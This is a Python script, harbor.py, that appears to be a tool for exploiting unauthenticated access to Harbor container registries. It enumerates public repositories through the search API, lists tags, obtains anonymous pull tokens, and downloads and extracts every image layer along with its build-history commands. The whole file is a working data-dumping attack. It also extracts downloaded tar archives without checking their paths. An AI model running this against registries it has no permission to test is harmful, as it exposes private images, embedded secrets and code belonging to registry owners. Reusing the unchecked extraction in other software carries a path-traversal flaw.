harbor.py

# -*- coding:utf-8 -*-
import os
import tarfile
import argparse
import requests

requests.packages.urllib3.disable_warnings()

CACHE_PATH = "./caches/"
TIMEOUT = 5

def manageArgs():
    parser = argparse.ArgumentParser()
    parser.add_argument("url", help="URL")
    parser.add_argument("--v2", dest='v2', default=False, help="API v2.0", action="store_true")
    parser.add_argument("--history", dest='history', default=False, help="get build_history by --tags", action="store_true")
    action = parser.add_mutually_exclusive_group()
    action.add_argument("--dump", metavar="IMAGENAME", dest='dump', type=str, help="ImageName")
    action.add_argument("--tags", dest='tags', default=False, help="list tags", action="store_true")
    action.add_argument("--dump_all", dest='dump_all', help="dump all", action="store_true")
    args = parser.parse_args()
    return args

def createDir(directoryName):
    if "../" in directoryName:
        print("[-] Hacker!")
        return
    if not os.path.exists(f"{CACHE_PATH}{directoryName}"):
        os.makedirs(f"{CACHE_PATH}{directoryName}")

class HarborUnauth():
    def getImages(self):
        url = "%s/api/search?q=" % self.target
        url_v2 = "%s/api/v2.0/search?q=/" % self.target
        try:
            req=requests.get(url,timeout=TIMEOUT,verify=False)
            if req.status_code != 200:
                self.v2 = True
                print("[*] API version used v2.0")
                req=requests.get(url_v2,timeout=TIMEOUT,verify=False)
            repos = req.json()["repository"]
            images = []
            for repo in repos:
                print("[+]",repo["repository_name"])
                images.append(repo["repository_name"])
                if self.list_tags:
                    self.getTags(repo["repository_name"])
            return images
        except Exception as e:
            print("[-] Not vulnerability.")
            return None
    
    def getTags(self,image_name):
        results = []
        url = "%s/api/repositories/%s/tags?detail=1"%(self.target,image_name)
        if self.v2:
            info = image_name.split("/")
            url = "%s/api/v2.0/projects/%s/repositories/%s/artifacts?with_tag=true"%(self.target,info[0],'%252f'.join(info[1:]))
        try:
            req = requests.get(url,timeout=TIMEOUT,verify=False)
            tags = req.json()
            for tag in tags:
                if "name" in tag.keys():
                    tag_name = tag["name"]
                elif tag["tags"] == None:
                    tag_name = tag["digest"].split(":")[1][:6]
                else:
                    tag_name = tag["tags"][0]["name"]
                if self.list_tags:
                    print(f"    [*] {image_name}:{tag_name}")
                results.append({"image":image_name,"tag":tag_name,"sha256":tag["digest"]})
                if self.build_history:
                    self.getBuildHistory(image_name,tag_name,tag["addition_links"]["build_history"]["href"])
            if self.list_tags:
                print()
        except Exception as e:
            print("[-] Get tags failed, maybe you should specify the --v2 argument.")
        return results
    
    def getBuildHistory(self,name,ver,href):
        url = self.target+href
        try:
            req = requests.get(url,timeout=TIMEOUT,verify=False)
            cmds = ""
            for i in req.json():
                cmds += i["created_by"]+"\n"
            dir = name.replace("/","_")+"/"+ver.replace(".","_")
            createDir(dir)
            with open(f"{CACHE_PATH}{dir}/build_history.txt",'a', encoding='utf-8') as f:
                f.write(cmds)
                f.close()
        except Exception as e:
            print("[-] Get build_history failed, "+str(e))
    
    def getToken(self,image_name):
        url = f"{self.target}/service/token?scope=repository%3A{image_name}%3Apull&service=harbor-registry"
        try:
            req=requests.get(url,timeout=TIMEOUT,verify=False)
            auth=req.json()["token"]
            return auth
        except Exception as e:
            return ""
    
    def getBlob(self,image_name,version,digest,header):
        url = "%s/v2/%s/manifests/%s" % (self.target,image_name,digest)
        try:
            req=requests.get(url,headers=header,timeout=TIMEOUT,verify=False)
            layers = req.json()["layers"]
            createDir(image_name.replace("/","_")+"/"+version.replace(".","_"))
            for l in layers:
                self.downloadSha(image_name,version,l["digest"],header)
        except Exception as e:
            print("[-]",str(e))
    
    def downloadSha(self,image_name,version,sha256,header):
        dir = image_name.replace("/","_")+"/"+version.replace(".","_")
        name = sha256.split(":")[1]
        filenamesha = f"{CACHE_PATH}{dir}/{name}.tar.gz"
        url = f"{self.target}/v2/{image_name}/blobs/{sha256}"
        try:
            req=requests.get(url,headers=header,timeout=TIMEOUT,verify=False)
            if req.status_code == 200:
                print(f"    [+] Downloading : {name}")
                with open(filenamesha, 'wb') as out:
                    for bits in req.iter_content():
                        out.write(bits)
                tf = tarfile.open(filenamesha)
                tf.extractall(f"{CACHE_PATH}{dir}/{name}")
                os.remove(filenamesha)
            else:
                print("    [-] Download fail:",req.status_code)
        except Exception as e:
            print(e)
    
    def check(self,args):
        self.target = args.url.strip().strip("/")
        self.v2 = args.v2
        self.list_tags = args.tags
        self.build_history = args.history
        images = []
        if args.dump:
            images.append(args.dump)
        else:
            images = self.getImages()
            if images != None and len(images)==0:
                print("[-] 0 public images found.")
                return
            if not args.dump_all:
                return
        for image in images:
            auth = self.getToken(image)
            if auth == "":
                print("[-] Get token failed.")
                return
            header = {"Authorization": "Bearer "+auth}
            tags = self.getTags(image)
            for tag in tags:
                print("[+] Dumping : %s:%s"%(tag["image"],tag["tag"]))
                self.getBlob(tag["image"],tag["tag"],tag["sha256"],header)

if __name__ == "__main__":
    args = manageArgs()
    m = HarborUnauth()
    m.check(args)